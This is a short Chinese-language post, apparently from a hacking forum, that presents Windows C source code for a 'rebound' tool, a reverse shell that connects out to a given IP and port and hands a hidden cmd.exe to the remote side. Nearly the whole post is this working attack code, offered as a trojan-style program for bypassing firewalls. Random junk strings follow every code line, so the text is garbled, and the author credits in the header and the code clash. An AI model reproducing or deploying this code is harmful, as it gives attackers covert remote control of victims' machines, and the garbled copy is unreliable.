这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 oJ5V^.
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/* ============================== Wz9 }glr
Rebound port in Windows NT H1N%uk=kV
By wind,2006/7 32dR`qb
===============================*/ 0kmZO"K#e
#include `|Ih"EZ
#include +Ge-!&.;A
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#pragma comment(lib,"wsock32.lib") z`'{l{
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void OutputShell(); Td?a=yu:J
SOCKET sClient; dZ_Hj X7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]M#_o]
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void main(int argc,char **argv) 3s"x{mtH
{ >/GVlXA'
WSADATA stWsaData; ]H%y7kH8
int nRet; KxqJlben
SOCKADDR_IN stSaiClient,stSaiServer; E{|j
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if(argc != 3) !5&%
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{ 3y<;fdS7
printf("Useage:\n\rRebound DestIP DestPort\n"); ?X~Keb
return; O6 bB CF;
} 9F@ Q
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WSAStartup(MAKEWORD(2,2),&stWsaData); !-)Hog5\
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]gx]7
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stSaiClient.sin_family = AF_INET; @WEDXB
stSaiClient.sin_port = htons(0); -lAX-W0
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); GB&<+5t2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) EPkmBru
^
{ B=8],_
printf("Bind Socket Failed!\n"); /-4rcC
return; W^v3pH-y#
} ;Hk{bz(
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stSaiServer.sin_family = AF_INET; 68
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); j]~;|V5Z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s"gNHp.oF
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 'So,*>]63
{ >PHin%#
printf("Connect Error!"); l3[2b
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return; XA PqRJ*Z
} Hwiw:lPq`E
OutputShell(); 3V2dN)\
} %s&l^&ux
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void OutputShell() AYb-BaIc
{ kn9ul3c
char szBuff[1024]; $S Kax#[
SECURITY_ATTRIBUTES stSecurityAttributes; p$.m=+K~
OSVERSIONINFO stOsversionInfo; ]l/ PyX
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \7]0vG
STARTUPINFO stStartupInfo; ^6g^ Q*"
char *szShell; /h6K"w=='!
PROCESS_INFORMATION stProcessInformation; ! W2dMD/
unsigned long lBytesRead; EIdEXAC(
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P-]u&m/6
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); JO[7_*s
stSecurityAttributes.lpSecurityDescriptor = 0; -}:;
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stSecurityAttributes.bInheritHandle = TRUE; I)]"`2w2w
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); g$S|CqRG
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )wqG^yv
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?c ur}`
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~S\y)l\wZ
stStartupInfo.wShowWindow = SW_HIDE; 0)Nu
stStartupInfo.hStdInput = hReadPipe; "Sb<"$:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ){}1u ?
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GetVersionEx(&stOsversionInfo); o{[w6^D7
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switch(stOsversionInfo.dwPlatformId) qe[P'\]L
{ K6Z/
case 1: X:2)C-l?
szShell = "command.com"; M4}b lh#
break; Wd>gOE
default: nVyV]'-z
szShell = "cmd.exe"; 1[:tiTG|C
break; Bcl6n@{2f
} ]iezwz`'
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); IRG -H!FV
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send(sClient,szMsg,77,0); CbW>yr
while(1) wN]]t~K)Q
{ h?7@]&VJ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :meq4!g{1
if(lBytesRead) 3]rd!Gp=*
{ jJqq:.XqB8
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); / n@by4;W
send(sClient,szBuff,lBytesRead,0); +'V ,z
} Lq#$q>!K
else ,V &RpKek
{ I?OnEw
lBytesRead=recv(sClient,szBuff,1024,0); Q@ghQGn#
if(lBytesRead<=0) break; WH l vd
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); AQgagE^
} )-\[A<(
} 6b-E|;"]:^
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return; dQ-:]T (
}